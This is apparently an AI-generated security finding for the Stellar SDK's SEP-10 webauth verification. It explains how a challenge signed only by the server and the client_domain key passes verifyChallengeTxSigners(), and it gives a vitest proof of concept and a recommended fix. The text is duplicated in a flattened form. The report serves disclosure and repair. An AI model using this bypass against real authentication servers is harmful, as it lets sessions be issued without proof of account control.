Security Finding: client_domain signer inflates signersFound, bypassing client-account requirement
Subsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
SEP-10 integrations that call verifyChallengeTxSigners() directly can accept a challenge signed only by the server and client_domain signer, even when no signer of the client account signed the challenge. The function returns [] instead of throwing, allowing an integration that doesn't separately reject an empty signer list to issue a session token without proof of control over the client account.
Root Cause
verifyChallengeTxSigners() treats signersFound.length === 1 as the only "no client signature" case. That is only correct when the transaction contains no client_domain operation. When a client_domain operation is present, the function adds the clientSigningKey to allSigners, so a challenge signed by the server and client-domain signer produces signersFound = [server, clientSigningKey]. The hardcoded length check then passes, both non-client signers are removed from the result, and the function returns [] instead of throwing.
Attack Vector
A server that supports SEP-10 client_domain verification issues a challenge containing a client_domain Manage Data operation. A malicious or compromised client application that controls the corresponding clientSigningKey signs the challenge with that key but omits any signature from the user's Stellar account. If the server integration relies on verifyChallengeTxSigners() succeeding without also checking that the returned signer list is non-empty, the SDK treats the challenge as valid and the integration can issue a session token without proof of control over the client account.
This does not affect integrations that use verifyChallengeTxThreshold() with a positive threshold, or direct callers that separately reject [], so the impact is narrower than a universal bypass.
PoC
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { StellarSdk } from "../test-utils/stellar-sdk-import";
const { WebAuth } = StellarSdk;
describe("Security PoC - client_domain signer bypass", () => {
beforeEach(() => {
vi.useFakeTimers({ now: 0 });
});
afterEach(() => {
vi.useRealTimers();
});
it("returns success with no client signer when only the client_domain signer co-signs", () => {
const serverKP = StellarSdk.Keypair.random();
const clientKP = StellarSdk.Keypair.random();
const walletKP = StellarSdk.Keypair.random();
const challenge = WebAuth.buildChallengeTx(
serverKP,
clientKP.publicKey(),
"example.com",
300,
StellarSdk.Networks.TESTNET,
"auth.example.com",
null,
"wallet.app",
walletKP.publicKey(),
);
vi.advanceTimersByTime(200);
const transaction = new StellarSdk.Transaction(
challenge,
StellarSdk.Networks.TESTNET,
);
transaction.sign(walletKP);
const signedChallenge = transaction.toEnvelope().toXDR("base64").toString();
const signersFound = WebAuth.verifyChallengeTxSigners(
signedChallenge,
serverKP.publicKey(),
StellarSdk.Networks.TESTNET,
[clientKP.publicKey()],
"example.com",
"auth.example.com",
);
expect(signersFound).toEqual([]);
});
});
Recommendation
Require at least one signature from the caller-provided client signer set after accounting for the server and optional clientSigningKey. A safe fix is to count matched client-account signers separately or to remove the server and optional clientSigningKey from signersFound before the "no client signatures" check. Add a regression test for the case where only the client_domain signer co-signs.
This issue was generated by an AI security analysis pipeline.
Security Finding:
client_domainsigner inflatessignersFound, bypassing client-account requirementSubsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
SEP-10 integrations that call
verifyChallengeTxSigners()directly can accept a challenge signed only by the server andclient_domainsigner, even when no signer of the client account signed the challenge. The function returns[]instead of throwing, allowing an integration that doesn't separately reject an empty signer list to issue a session token without proof of control over the client account.Root Cause
verifyChallengeTxSigners()treatssignersFound.length === 1as the only "no client signature" case. That is only correct when the transaction contains noclient_domainoperation. When aclient_domainoperation is present, the function adds theclientSigningKeytoallSigners, so a challenge signed by the server and client-domain signer producessignersFound = [server, clientSigningKey]. The hardcoded length check then passes, both non-client signers are removed from the result, and the function returns[]instead of throwing.Attack Vector
A server that supports SEP-10
client_domainverification issues a challenge containing aclient_domainManage Data operation. A malicious or compromised client application that controls the correspondingclientSigningKeysigns the challenge with that key but omits any signature from the user's Stellar account. If the server integration relies onverifyChallengeTxSigners()succeeding without also checking that the returned signer list is non-empty, the SDK treats the challenge as valid and the integration can issue a session token without proof of control over the client account.This does not affect integrations that use
verifyChallengeTxThreshold()with a positive threshold, or direct callers that separately reject[], so the impact is narrower than a universal bypass.PoC
Recommendation
Require at least one signature from the caller-provided client signer set after accounting for the server and optional
clientSigningKey. A safe fix is to count matched client-account signers separately or to remove the server and optionalclientSigningKeyfromsignersFoundbefore the "no client signatures" check. Add a regression test for the case where only theclient_domainsigner co-signs.This issue was generated by an AI security analysis pipeline.